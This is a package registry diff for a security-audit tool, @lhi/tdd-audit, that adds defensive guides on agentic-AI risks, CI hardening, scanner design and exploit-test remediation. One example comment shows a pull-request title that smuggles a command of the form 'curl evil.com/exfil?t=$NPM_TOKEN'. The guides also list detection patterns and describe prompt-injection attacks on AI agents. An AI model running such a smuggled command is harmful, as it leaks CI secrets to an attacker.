@lhi/tdd-audit 1.8.1 → 1.8.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,6 +1,6 @@
1
1
  # @lhi/tdd-audit
2
2
 
3
- > **v1.8.0** — Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
3
+ > **v1.8.3** — Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
4
4
 
5
5
  ## What happens on install
6
6
 
@@ -0,0 +1,202 @@
1
+ # Agentic AI Security (ASI01–ASI10)
2
+
3
+ When the project contains AI agent code, MCP server configurations, CLAUDE.md files, or tool-calling patterns, the auto-audit also checks for agentic-specific vulnerabilities. These are harder to spot than traditional web vulnerabilities but carry severe consequences — data exfiltration via tool abuse, agent hijacking, supply chain via MCP.
4
+
5
+ ---
6
+
7
+ ## ASI01 — Prompt Injection via Tool Output
8
+
9
+ **What:** Malicious text in tool results (web scrapes, file reads, search results) that instructs the agent to perform unauthorized actions.
10
+
11
+ **Grep for:**
12
+ ```
13
+ fetch(.*then.*res\.text # agent reading raw web content into prompt
14
+ readFile.*utf8.*then # file content fed directly to model
15
+ tool_result.*content # MCP tool output injected into context
16
+ ```
17
+
18
+ **Fix:** Sanitize tool outputs before injecting into prompt context. Treat all content from web fetches, file reads, and search results as untrusted data — never as instructions.
19
+
20
+ ---
21
+
22
+ ## ASI02 — CLAUDE.md / Instructions File Injection
23
+
24
+ **What:** Attacker-controlled files (`CLAUDE.md`, `.cursorrules`, system prompts) that override the agent's behavior or extract secrets.
25
+
26
+ **Grep for:**
27
+ ```
28
+ CLAUDE\.md # ensure CLAUDE.md doesn't accept untrusted input
29
+ \.cursorrules # check cursor rules for malicious overrides
30
+ system_prompt.*file # system prompt loaded from a user-supplied path
31
+ ```
32
+
33
+ **Fix:** `CLAUDE.md` must be under version control and reviewed on every commit. Never load system prompts from user-supplied paths. Treat the file as code, not configuration.
34
+
35
+ ---
36
+
37
+ ## ASI03 — MCP Server Supply Chain Risk
38
+
39
+ **What:** MCP servers installed via `npx` or unpinned package references that can execute arbitrary code in the agent's context.
40
+
41
+ **Grep for:**
42
+ ```
43
+ mcpServers # review all MCP server configurations
44
+ npx.*mcp # npx-executed MCP servers (not pinned)
45
+ "command".*"npx" # dynamic npx MCP invocations
46
+ ```
47
+
48
+ **Fix:** Pin all MCP server packages to exact versions. Prefer locally-installed servers over `npx`:
49
+
50
+ ```json
51
+ // settings.json — safe pattern
52
+ {
53
+ "mcpServers": {
54
+ "filesystem": {
55
+ "command": "node",
56
+ "args": ["/usr/local/lib/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js"]
57
+ }
58
+ }
59
+ }
60
+ ```
61
+
62
+ ---
63
+
64
+ ## ASI04 — Excessive Tool Permissions
65
+
66
+ **What:** Agent granted filesystem write, shell exec, or network send permissions when the task only requires read access.
67
+
68
+ **Grep for:**
69
+ ```
70
+ allow.*Write.*true # broad write permissions granted
71
+ bash.*permission.*allow # shell execution permitted
72
+ tools.*\["bash" # bash tool in agent tool list
73
+ ```
74
+
75
+ **Fix:** Apply the principle of least privilege. Grant only the minimum tool set required for the task. For automated CI agents, use a dedicated low-privilege service account with no write access to source files.
76
+
77
+ ---
78
+
79
+ ## ASI05 — Sensitive Data in Tool Calls
80
+
81
+ **What:** Agent passes secrets, PII, or auth tokens to external tools (web search, APIs) where they may be logged or leaked.
82
+
83
+ **Grep for:**
84
+ ```
85
+ tool_call.*password # password in tool argument
86
+ tool_call.*token # token passed to external tool
87
+ messages.*secret # secret embedded in model messages
88
+ ```
89
+
90
+ **Fix:** Scrub secrets from all tool arguments before calling. Pass credentials via environment variables, never via prompt context.
91
+
92
+ ---
93
+
94
+ ## ASI06 — Unvalidated Agent Action Execution
95
+
96
+ **What:** Agent executes shell commands, file writes, or API calls without confirming with the user when the action has significant side effects.
97
+
98
+ **Grep for:**
99
+ ```
100
+ exec.*tool_result # shell exec driven by tool output
101
+ writeFile.*agent # agent writing files autonomously
102
+ http\.post.*tool_call # agent making POST requests without confirmation
103
+ ```
104
+
105
+ **Fix:** For irreversible or high-blast-radius actions, the agent must confirm with the user before executing. Classify actions as: read-only (proceed freely), local reversible (proceed with logging), or destructive/external (require confirmation).
106
+
107
+ ---
108
+
109
+ ## ASI07 — Insecure Direct Agent Communication
110
+
111
+ **What:** Agent-to-agent messages that trust the calling agent's identity without verification, enabling privilege escalation.
112
+
113
+ **Grep for:**
114
+ ```
115
+ agent_message.*role.*user # sub-agent message injected as user role
116
+ from_agent.*trust # inter-agent trust without verification
117
+ orchestrator.*execute # orchestrator passing actions directly to sub-agent
118
+ ```
119
+
120
+ **Fix:** Treat messages from sub-agents with the same skepticism as user input. Validate the source and scope of all inter-agent instructions before acting.
121
+
122
+ ---
123
+
124
+ ## ASI08 — GitHub Actions Command Injection
125
+
126
+ **What:** User-controlled input (PR title, branch name, issue body) injected into GitHub Actions `run:` steps via `${{ github.event.* }}`.
127
+
128
+ **Grep for** (in `.github/workflows/*.yml`):
129
+ ```
130
+ \$\{\{ github\.event\.pull_request\.title
131
+ \$\{\{ github\.event\.issue\.body
132
+ \$\{\{ github\.head_ref
133
+ \$\{\{ github\.event\.comment\.body
134
+ run:.*\$\{\{
135
+ ```
136
+
137
+ **Vulnerable pattern:**
138
+ ```yaml
139
+ - name: Echo PR title
140
+ run: echo "${{ github.event.pull_request.title }}"
141
+ # Attacker submits PR titled: foo"; curl evil.com/exfil?t=$NPM_TOKEN; echo "
142
+ ```
143
+
144
+ **Safe pattern:**
145
+ ```yaml
146
+ - name: Echo PR title
147
+ env:
148
+ TITLE: ${{ github.event.pull_request.title }}
149
+ run: echo "$TITLE" # shell variable — no Actions interpolation
150
+ ```
151
+
152
+ ---
153
+
154
+ ## ASI09 — Unpinned GitHub Actions (Supply Chain)
155
+
156
+ **What:** Using `@v4` or `@main` action refs instead of full commit SHAs. A compromised tag can exfiltrate `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, or other secrets.
157
+
158
+ **Grep for** (in `.github/workflows/*.yml`):
159
+ ```
160
+ uses:.*@v\d
161
+ uses:.*@main
162
+ uses:.*@master
163
+ ```
164
+
165
+ **Fix:** Pin every `uses:` to a full 40-character commit SHA with the version as a comment:
166
+
167
+ ```yaml
168
+ # Vulnerable
169
+ - uses: actions/checkout@v4
170
+
171
+ # Safe
172
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
173
+ ```
174
+
175
+ All workflow templates installed by `@lhi/tdd-audit` ship SHA-pinned. The security test `sec-05-unpinned-action-in-docs.test.js` enforces this.
176
+
177
+ ---
178
+
179
+ ## ASI10 — Secrets in Workflow Environment
180
+
181
+ **What:** Secrets printed to logs, passed as positional arguments, or embedded in URLs in CI workflows.
182
+
183
+ **Grep for** (in `.github/workflows/*.yml`):
184
+ ```
185
+ echo.*secrets\. # secret echoed to log
186
+ run:.*\$\{\{ secrets\. # secret interpolated inline into run step
187
+ curl.*\$\{\{ secrets\. # secret in curl URL (leaks in logs)
188
+ ```
189
+
190
+ **Vulnerable pattern:**
191
+ ```yaml
192
+ - run: curl https://api.example.com?key=${{ secrets.API_KEY }}
193
+ # Full URL including secret appears in GitHub Actions log
194
+ ```
195
+
196
+ **Safe pattern:**
197
+ ```yaml
198
+ - name: Call API
199
+ env:
200
+ API_KEY: ${{ secrets.API_KEY }}
201
+ run: curl -H "Authorization: $API_KEY" https://api.example.com
202
+ ```
package/docs/ci-cd.md ADDED
@@ -0,0 +1,169 @@
1
+ # CI/CD Integration Guide
2
+
3
+ `@lhi/tdd-audit` installs framework-matched GitHub Actions workflow templates on first run. This document covers what ships, how to add the gate to an existing pipeline, and what each template does.
4
+
5
+ ---
6
+
7
+ ## What the installer creates
8
+
9
+ | File | When created |
10
+ |---|---|
11
+ | `.github/workflows/security-tests.yml` | Always (if it doesn't already exist) |
12
+ | `.github/workflows/ci.yml` | Always (if it doesn't already exist) |
13
+
14
+ Both files are only written if they don't already exist — the installer never overwrites your existing CI configuration.
15
+
16
+ ---
17
+
18
+ ## Installed workflow templates
19
+
20
+ All templates ship with:
21
+ - Every `uses:` pinned to a full 40-character commit SHA (supply chain hardening, ASI09)
22
+ - A dependency audit step (`npm audit --audit-level=high`, `pip-audit`, or `govulncheck`)
23
+ - The security exploit test suite run on every push and pull request
24
+
25
+ ### Node.js (jest / vitest / mocha)
26
+
27
+ **`.github/workflows/security-tests.yml`**
28
+ ```yaml
29
+ name: Security Tests
30
+ on:
31
+ push: { branches: [main, master] }
32
+ pull_request: { branches: [main, master] }
33
+ jobs:
34
+ security-tests:
35
+ runs-on: ubuntu-latest
36
+ steps:
37
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
38
+ - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
39
+ with: { node-version: '20', cache: 'npm' }
40
+ - run: npm ci
41
+ - run: npm audit --audit-level=high
42
+ - run: npm run test:security
43
+ ```
44
+
45
+ **`.github/workflows/ci.yml`**
46
+ Runs the full test suite on Node.js 18 / 20 / 22, uploads coverage as an artifact.
47
+
48
+ ### Python
49
+
50
+ **`security-tests.python.yml`** — runs `pytest tests/security/ -v` on Python 3.12
51
+ **`ci.python.yml`** — matrix across Python 3.10 / 3.11 / 3.12, runs `ruff` lint and `pytest --cov`
52
+
53
+ ### Go
54
+
55
+ **`security-tests.go.yml`** — runs `go test ./security/... -v` on Go 1.22
56
+ **`ci.go.yml`** — matrix across Go 1.21 / 1.22 / 1.23, runs `staticcheck` and `go test ./...` with coverage
57
+
58
+ ### Flutter / Dart
59
+
60
+ **`security-tests.flutter.yml`** — runs `flutter test test/security/` with `subosito/flutter-action` (SHA-pinned)
61
+ **`ci.flutter.yml`** — runs `dart analyze`, `dart format`, `flutter test --coverage`
62
+
63
+ ---
64
+
65
+ ## Adding to an existing pipeline
66
+
67
+ Minimum addition — add these two steps to your existing workflow after `npm ci` (or language equivalent):
68
+
69
+ ```yaml
70
+ - name: Dependency audit
71
+ run: npm audit --audit-level=high
72
+
73
+ - name: Security exploit tests
74
+ run: npm run test:security
75
+ ```
76
+
77
+ For Python:
78
+ ```yaml
79
+ - name: Dependency audit
80
+ run: pip install pip-audit && pip-audit
81
+
82
+ - name: Security exploit tests
83
+ run: pytest tests/security/ -v
84
+ ```
85
+
86
+ For Go:
87
+ ```yaml
88
+ - name: Dependency audit
89
+ run: |
90
+ go install golang.org/x/vuln/cmd/govulncheck@latest
91
+ govulncheck ./...
92
+
93
+ - name: Security exploit tests
94
+ run: go test ./security/... -v
95
+ ```
96
+
97
+ ---
98
+
99
+ ## Pre-commit hook (optional)
100
+
101
+ Install with `--with-hooks`:
102
+
103
+ ```bash
104
+ npx @lhi/tdd-audit --with-hooks
105
+ ```
106
+
107
+ This appends to `.git/hooks/pre-commit`:
108
+
109
+ ```sh
110
+ # tdd-remediation: security gate
111
+ npm run test:security --silent
112
+ if [ $? -ne 0 ]; then
113
+ printf "\n\033[0;31m❌ Security tests failed. Commit blocked.\033[0m\n"
114
+ exit 1
115
+ fi
116
+ ```
117
+
118
+ The hook is non-destructive — it appends to existing hook content and does not overwrite it. If the project is not a git repository, the hook installation is skipped with a warning.
119
+
120
+ ---
121
+
122
+ ## Supply chain hardening in workflows
123
+
124
+ All installed workflows pin action refs to full commit SHAs. If you add new actions manually, use SHA refs:
125
+
126
+ ```yaml
127
+ # Find the SHA for any action tag:
128
+ # 1. Go to github.com/actions/checkout/releases
129
+ # 2. Click the tag → copy the full commit SHA from the URL or git log
130
+
131
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
132
+ ```
133
+
134
+ To audit your existing workflows for unpinned refs:
135
+
136
+ ```bash
137
+ grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
138
+ ```
139
+
140
+ The security test `sec-05-unpinned-action-in-docs.test.js` enforces that documentation examples in this repo stay SHA-pinned as well.
141
+
142
+ ---
143
+
144
+ ## Preventing secrets from leaking in CI
145
+
146
+ Always pass secrets as environment variables — never interpolate them inline:
147
+
148
+ ```yaml
149
+ # Vulnerable — secret appears in the Actions log as part of the URL
150
+ - run: curl https://api.example.com?token=${{ secrets.API_TOKEN }}
151
+
152
+ # Safe
153
+ - name: Call API
154
+ env:
155
+ API_TOKEN: ${{ secrets.API_TOKEN }}
156
+ run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
157
+ ```
158
+
159
+ Similarly, never interpolate `github.event.*` values directly into `run:` steps (see [ASI08](agentic-ai-security.md#asi08--github-actions-command-injection)):
160
+
161
+ ```yaml
162
+ # Vulnerable — PR title with shell metacharacters is injected
163
+ - run: echo "PR: ${{ github.event.pull_request.title }}"
164
+
165
+ # Safe
166
+ - env:
167
+ PR_TITLE: ${{ github.event.pull_request.title }}
168
+ run: echo "PR: $PR_TITLE"
169
+ ```
@@ -0,0 +1,267 @@
1
+ # Phase 4 — Proactive Hardening
2
+
3
+ Phase 4 runs after all known vulnerabilities are patched. It applies defence-in-depth controls that make future vulnerabilities harder to introduce and easier to catch.
4
+
5
+ Apply each control independently. Confirm the test suite stays green after each.
6
+
7
+ ---
8
+
9
+ ## 4a. Security headers (Helmet)
10
+
11
+ ```bash
12
+ npm install helmet
13
+ ```
14
+
15
+ Apply as the **first** middleware, before any routes:
16
+
17
+ ```javascript
18
+ const helmet = require('helmet');
19
+ app.use(helmet());
20
+ ```
21
+
22
+ For **Next.js**, add to `next.config.js`:
23
+
24
+ ```javascript
25
+ const securityHeaders = [
26
+ { key: 'X-Content-Type-Options', value: 'nosniff' },
27
+ { key: 'X-Frame-Options', value: 'SAMEORIGIN' },
28
+ { key: 'X-XSS-Protection', value: '1; mode=block' },
29
+ { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
30
+ { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
31
+ { key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
32
+ ];
33
+
34
+ module.exports = {
35
+ async headers() {
36
+ return [{ source: '/(.*)', headers: securityHeaders }];
37
+ },
38
+ };
39
+ ```
40
+
41
+ **Verify:** `curl -I https://localhost:3000/` — confirm headers are present.
42
+
43
+ ---
44
+
45
+ ## 4b. Content Security Policy (CSP)
46
+
47
+ ```javascript
48
+ app.use(
49
+ helmet.contentSecurityPolicy({
50
+ directives: {
51
+ defaultSrc: ["'self'"],
52
+ scriptSrc: ["'self'"], // no 'unsafe-inline' — use nonces
53
+ styleSrc: ["'self'", "'unsafe-inline'"],
54
+ imgSrc: ["'self'", 'data:', 'https:'],
55
+ connectSrc: ["'self'"],
56
+ fontSrc: ["'self'"],
57
+ objectSrc: ["'none'"],
58
+ frameAncestors: ["'none'"], // equivalent to X-Frame-Options: DENY
59
+ upgradeInsecureRequests: [],
60
+ },
61
+ })
62
+ );
63
+ ```
64
+
65
+ Validate your policy at `https://csp-evaluator.withgoogle.com/`.
66
+
67
+ ---
68
+
69
+ ## 4c. CSRF protection
70
+
71
+ For cookie-based sessions (not pure JWT / Authorization header flows):
72
+
73
+ ```javascript
74
+ // csrf-csrf (csurf is deprecated since March 2023)
75
+ const { doubleCsrf } = require('csrf-csrf');
76
+
77
+ const { generateToken, doubleCsrfProtection } = doubleCsrf({
78
+ getSecret: () => process.env.CSRF_SECRET,
79
+ cookieName: '__Host-psifi.x-csrf-token',
80
+ cookieOptions: { sameSite: 'strict', secure: true },
81
+ });
82
+
83
+ app.use(doubleCsrfProtection);
84
+ app.get('/form', (req, res) => res.render('form', { csrfToken: generateToken(req, res) }));
85
+ ```
86
+
87
+ For SPAs using `fetch`, set `SameSite=Strict` on the session cookie:
88
+
89
+ ```javascript
90
+ res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'strict' });
91
+ ```
92
+
93
+ ---
94
+
95
+ ## 4d. Rate limiting
96
+
97
+ | Route type | Recommended limit |
98
+ |---|---|
99
+ | `/login`, `/register`, `/forgot-password` | 10 requests / 15 min / IP |
100
+ | `/api/` general endpoints | 100 requests / 1 min / IP |
101
+ | File upload endpoints | 5 requests / 1 min / IP |
102
+ | Password reset confirmation | 5 requests / 15 min / IP |
103
+
104
+ ```javascript
105
+ const rateLimit = require('express-rate-limit');
106
+
107
+ const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 10 });
108
+ const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 100 });
109
+
110
+ app.use('/api/', apiLimiter);
111
+ app.post('/api/auth/login', authLimiter, loginHandler);
112
+ app.post('/api/auth/register', authLimiter, registerHandler);
113
+ ```
114
+
115
+ Quick grep to find unprotected POST routes:
116
+
117
+ ```bash
118
+ grep -rn "app\.post\|router\.post" src/ --include="*.js" | grep -v "limiter\|rateLimit"
119
+ ```
120
+
121
+ ---
122
+
123
+ ## 4e. Dependency vulnerability audit
124
+
125
+ ```bash
126
+ # Node.js
127
+ npm audit --audit-level=high
128
+ npm audit fix # auto-fix where safe
129
+
130
+ # Python
131
+ pip install pip-audit && pip-audit
132
+
133
+ # Go
134
+ go install golang.org/x/vuln/cmd/govulncheck@latest && govulncheck ./...
135
+
136
+ # Flutter / Dart
137
+ flutter pub outdated
138
+ ```
139
+
140
+ The live `ci.yml` and `security-tests.yml` workflows both run `npm audit --audit-level=high` on every push and pull request (added in v1.8.0).
141
+
142
+ ---
143
+
144
+ ## 4f. Secret history scan
145
+
146
+ ```bash
147
+ # trufflehog (recommended)
148
+ npx trufflehog git file://. --only-verified
149
+
150
+ # gitleaks
151
+ brew install gitleaks
152
+ gitleaks detect --source . -v
153
+ ```
154
+
155
+ If secrets are found in history:
156
+ 1. Rotate the secret immediately — treat it as compromised
157
+ 2. Use `git filter-repo` to rewrite history
158
+ 3. Force-push and have all team members re-clone
159
+
160
+ Prevent future secret commits via pre-commit hook:
161
+
162
+ ```bash
163
+ npx gitleaks protect --staged -v
164
+ # or use: npx @lhi/tdd-audit --with-hooks
165
+ ```
166
+
167
+ ---
168
+
169
+ ## 4g. Production error handling
170
+
171
+ ```javascript
172
+ // Express — place last, after all routes
173
+ app.use((err, req, res, next) => {
174
+ const isDev = process.env.NODE_ENV !== 'production';
175
+ console.error(err); // log internally — never expose to client
176
+ res.status(err.status || 500).json({
177
+ error: isDev ? err.message : 'Internal server error',
178
+ ...(isDev && { stack: err.stack }),
179
+ });
180
+ });
181
+ ```
182
+
183
+ ```python
184
+ # FastAPI
185
+ @app.exception_handler(Exception)
186
+ async def generic_exception_handler(request, exc):
187
+ logger.error(f"Unhandled exception: {exc}", exc_info=True)
188
+ return JSONResponse(status_code=500, content={"error": "Internal server error"})
189
+ ```
190
+
191
+ ---
192
+
193
+ ## 4h. Subresource Integrity (SRI)
194
+
195
+ For third-party scripts or stylesheets loaded via CDN:
196
+
197
+ ```html
198
+ <script
199
+ src="https://cdn.example.com/lib.min.js"
200
+ integrity="sha384-<hash>"
201
+ crossorigin="anonymous"
202
+ ></script>
203
+ ```
204
+
205
+ Generate integrity hashes at `https://www.srihash.org/`.
206
+
207
+ ---
208
+
209
+ ## 4i. GitHub Actions supply chain hardening
210
+
211
+ Pin every `uses:` to a full commit SHA:
212
+
213
+ ```yaml
214
+ # Vulnerable — mutable tag
215
+ - uses: actions/checkout@v4
216
+
217
+ # Safe — SHA-locked, tag as comment
218
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
219
+ ```
220
+
221
+ Grep for unpinned actions:
222
+
223
+ ```bash
224
+ grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
225
+ ```
226
+
227
+ Workflow inputs that inject into `run:` steps:
228
+
229
+ ```yaml
230
+ # Vulnerable
231
+ run: echo "${{ github.event.pull_request.title }}"
232
+
233
+ # Safe
234
+ env:
235
+ PR_TITLE: ${{ github.event.pull_request.title }}
236
+ run: echo "$PR_TITLE"
237
+ ```
238
+
239
+ ---
240
+
241
+ ## 4j. Agentic AI controls
242
+
243
+ - `CLAUDE.md` under version control; reviewed on every commit; no user-supplied content
244
+ - MCP servers pinned to exact versions or local installs (see [ASI03](agentic-ai-security.md#asi03--mcp-server-supply-chain-risk))
245
+ - Agent tool permissions scoped to minimum required; no `bash` when only `read` is needed
246
+ - Tool outputs sanitized before injecting into prompt context (see [ASI01](agentic-ai-security.md#asi01--prompt-injection-via-tool-output))
247
+
248
+ ---
249
+
250
+ ## Hardening verification checklist
251
+
252
+ - [ ] `helmet()` applied before all routes; `X-Content-Type-Options: nosniff` in every response
253
+ - [ ] CSP header present; validated with csp-evaluator
254
+ - [ ] CSRF protection on all state-mutating routes (or `SameSite=Strict` cookies)
255
+ - [ ] Rate limiting on auth routes — 429 returned after threshold
256
+ - [ ] `npm audit` / `pip-audit` / `govulncheck` shows 0 HIGH/CRITICAL findings
257
+ - [ ] `gitleaks` / `trufflehog` shows no verified secrets in history
258
+ - [ ] Production error handler returns generic messages; no stack traces in 5xx responses
259
+ - [ ] SRI hashes on all third-party CDN resources
260
+ - [ ] `*.env` in `.gitignore`; no `.env` committed to git
261
+ - [ ] All cookies: `httpOnly: true`, `secure: true`, `sameSite: 'strict'` or `'lax'`
262
+ - [ ] All GitHub Actions `uses:` pinned to full commit SHAs
263
+ - [ ] No `github.event.*` interpolated directly into `run:` steps
264
+ - [ ] No secrets inline in workflow `run:` commands or URLs
265
+ - [ ] `CLAUDE.md` in version control and reviewed; no user-supplied content
266
+ - [ ] MCP servers pinned to exact versions or local installs
267
+ - [ ] Agent tool permissions scoped to minimum required
@@ -0,0 +1,161 @@
1
+ # Scanner Architecture
2
+
3
+ `lib/scanner.js` is the core engine behind `npx @lhi/tdd-audit --scan` and the auto-audit skill. It is a pure Node.js module with no runtime dependencies — only `fs` and `path`.
4
+
5
+ ---
6
+
7
+ ## Entry points
8
+
9
+ | Export | Purpose |
10
+ |---|---|
11
+ | `quickScan(projectDir)` | Walk all source files and return a findings array |
12
+ | `scanPromptFiles(projectDir)` | Walk all `.md` prompt/skill files and check for prompt-specific patterns |
13
+ | `scanAppConfig(projectDir)` | Check `app.json` / `app.config.*` for embedded secrets |
14
+ | `scanAndroidManifest(projectDir)` | Check `AndroidManifest.xml` for `android:debuggable="true"` |
15
+ | `printFindings(findings, exempted)` | Format and print a findings report to stdout |
16
+ | `detectFramework(dir)` | Detect the test framework (`jest`, `vitest`, `mocha`, `pytest`, `go`, `flutter`) |
17
+ | `detectAppFramework(dir)` | Detect the UI framework (`nextjs`, `expo`, `react-native`, `react`, `flutter`) |
18
+ | `detectTestBaseDir(dir, framework)` | Locate the test root (`__tests__`, `tests`, `test`, `spec`) |
19
+
20
+ ---
21
+
22
+ ## How `quickScan` works
23
+
24
+ ```
25
+ projectDir
26
+ └─ walkFiles() — yields .js/.ts/.jsx/.tsx/.mjs/.py/.go/.dart files
27
+ └─ for each file:
28
+ 1. Read file content (read-first, check length after — no TOCTOU)
29
+ 2. Skip if content.length > 512 KB
30
+ 3. Skip if file contains null bytes (binary guard)
31
+ 4. For each line × each VULN_PATTERN:
32
+ – If pattern matches, push finding with severity / name / file / line / snippet
33
+ – inTestFile: true if path is under a test directory
34
+ – likelyFalsePositive: true if inTestFile && pattern.skipInTests
35
+ └─ scanAppConfig() — checks app.json / app.config.* for secret patterns
36
+ └─ scanAndroidManifest() — checks android:debuggable
37
+ └─ scanPromptFiles() — walks .md files in prompt directories
38
+ ```
39
+
40
+ All four result sets are merged into one array and returned to the caller.
41
+
42
+ ---
43
+
44
+ ## File walking
45
+
46
+ ### `walkFiles(dir)`
47
+
48
+ Yields scannable source files (`SCAN_EXTENSIONS`). Skips:
49
+
50
+ - **`SKIP_DIRS`**: `node_modules`, `.git`, `dist`, `build`, `.next`, `out`, `__pycache__`, `venv`, `.venv`, `vendor`, `.expo`, `.dart_tool`, `.pub-cache`
51
+ - **Symlinks** — never followed, preventing escape from the project root on shared/M-series filesystems
52
+
53
+ ### `walkMdFiles(dir)`
54
+
55
+ Same skip rules, yields `.md` files only. Used by `scanPromptFiles`.
56
+
57
+ ---
58
+
59
+ ## Scanned extensions
60
+
61
+ `.js` `.ts` `.jsx` `.tsx` `.mjs` `.py` `.go` `.dart`
62
+
63
+ YAML, JSON, XML, and shell files are not scanned by the code scanner. CI workflow files (`.yml`) are scanned separately when explicitly passed to the ASI08/ASI09 grep patterns during an agent-driven audit.
64
+
65
+ ---
66
+
67
+ ## Test file detection
68
+
69
+ `isTestFile(filePath, projectDir)` returns `true` for any file that matches:
70
+
71
+ | Pattern | Example |
72
+ |---|---|
73
+ | `*.test.js` / `*.spec.ts` | `auth.test.ts` |
74
+ | `*_test.dart` | `login_test.dart` |
75
+ | Path contains `__tests__/` or `tests/` | `__tests__/unit/scanner.test.js` |
76
+ | Path contains `spec/` | `spec/api/users_spec.rb` |
77
+ | Filename starts with `test_` | `test_helpers.js` |
78
+
79
+ Findings in test files are always reported (they may contain real vulnerabilities), but:
80
+ - They carry `inTestFile: true` in the finding object
81
+ - If the matched pattern has `skipInTests: true`, `likelyFalsePositive` is set to `true` and the finding is separated into a secondary "verify manually" section of the report
82
+
83
+ ---
84
+
85
+ ## Prompt file detection
86
+
87
+ `isPromptFile(filePath, projectDir)` returns `true` for:
88
+
89
+ | Condition | Example |
90
+ |---|---|
91
+ | Filename is in `PROMPT_FILE_NAMES` | `CLAUDE.md`, `SKILL.md`, `.cursorrules`, `.clinerules` |
92
+ | First path segment is in `PROMPT_DIRS` | `prompts/`, `skills/`, `.claude/`, `workflows/` |
93
+
94
+ ### `audit_status: safe` exemption
95
+
96
+ If a prompt file's YAML frontmatter contains `audit_status: safe`, it is skipped entirely. The relative path is collected into an `exempted` array and displayed at the bottom of the `printFindings` report so you can verify exemptions are intentional.
97
+
98
+ ```markdown
99
+ ---
100
+ name: my-prompt
101
+ audit_status: safe
102
+ ---
103
+ ```
104
+
105
+ This mechanism allows prompt authors to document intentional examples of vulnerable patterns (e.g., showing what `csurf` looks like before migration) without generating false positives on every scan.
106
+
107
+ ### Backtick suppression
108
+
109
+ Matches inside a properly closed backtick code span on the same line are suppressed. This prevents table rows like:
110
+
111
+ ```markdown
112
+ | `"command": "npx"` in MCP config | HIGH | ...
113
+ ```
114
+
115
+ from triggering the `Unpinned npx MCP Server` pattern.
116
+
117
+ The rule: suppress when there is an **odd** number of backticks before the match AND at least one closing backtick after it on the same line.
118
+
119
+ ---
120
+
121
+ ## Finding object schema
122
+
123
+ ```javascript
124
+ {
125
+ severity: 'CRITICAL' | 'HIGH' | 'MEDIUM' | 'LOW',
126
+ name: string, // pattern display name, e.g. "SQL Injection"
127
+ file: string, // relative path from projectDir
128
+ line: number, // 1-indexed line number
129
+ snippet: string, // first 80 chars of the matched line (trimmed)
130
+ inTestFile: boolean,
131
+ likelyFalsePositive: boolean,
132
+ }
133
+ ```
134
+
135
+ ---
136
+
137
+ ## Adding a new pattern
138
+
139
+ All vulnerability patterns live in the `VULN_PATTERNS` array in `lib/scanner.js`. Each entry is:
140
+
141
+ ```javascript
142
+ {
143
+ name: 'Display Name', // shown in the report
144
+ severity: 'HIGH', // CRITICAL | HIGH | MEDIUM | LOW
145
+ pattern: /regex/i, // matched against each line of each file
146
+ skipInTests: true, // optional — mark likelyFalsePositive when matched in test files
147
+ }
148
+ ```
149
+
150
+ Prompt-specific patterns live in `PROMPT_PATTERNS`:
151
+
152
+ ```javascript
153
+ {
154
+ name: 'Display Name',
155
+ severity: 'HIGH',
156
+ pattern: /regex/,
157
+ skipCommentLine: true, // optional — suppress matches on lines starting with // or #
158
+ }
159
+ ```
160
+
161
+ After adding a pattern, add a corresponding unit test in `__tests__/unit/scanner.test.js` with both a true-positive and a false-positive case.
@@ -0,0 +1,184 @@
1
+ # TDD Remediation Protocol
2
+
3
+ Security patching without tests is guesswork. The Red-Green-Refactor loop turns every vulnerability into a provable, reproducible closure: you prove the hole exists, you close it, and you prove it is closed.
4
+
5
+ ---
6
+
7
+ ## The three phases
8
+
9
+ ```
10
+ RED → write the exploit test → it MUST fail (vulnerability confirmed)
11
+ GREEN → apply the patch → test MUST pass (vulnerability closed)
12
+ REFACTOR → run the full suite → all MUST pass (no regressions)
13
+ ```
14
+
15
+ **Do not move to the next vulnerability until the current one completes all three phases.**
16
+
17
+ ---
18
+
19
+ ## Phase 1 — Red (Exploit)
20
+
21
+ Write a test that actively attempts the breach. The test must fail on the **security assertion**, not just crash the app.
22
+
23
+ ```javascript
24
+ // Wrong Red: test fails because the app throws 500
25
+ expect(res.status).toBe(403); // ← fails because app returned 500
26
+
27
+ // Correct Red: test fails because the vulnerability is open
28
+ expect(res.status).toBe(403); // ← fails because app returned 200 with data
29
+ ```
30
+
31
+ Place the test in your security test directory (`__tests__/security/`, `tests/security/`, or `test/security/`) so it is picked up by the `test:security` CI job.
32
+
33
+ ### Framework templates
34
+
35
+ **Jest / Supertest (Node.js)**
36
+ ```javascript
37
+ const request = require('supertest');
38
+ const app = require('../../app');
39
+
40
+ describe('[VulnType] — Red Phase', () => {
41
+ it('SHOULD block [exploit description]', async () => {
42
+ const res = await request(app)
43
+ .post('/api/vulnerable-endpoint')
44
+ .send({ input: '<exploit payload>' });
45
+
46
+ expect(res.status).toBe(403); // currently 200 — MUST fail (Red)
47
+ expect(res.body.data).not.toContain('<exploit payload>');
48
+ });
49
+ });
50
+ ```
51
+
52
+ **PyTest (Python)**
53
+ ```python
54
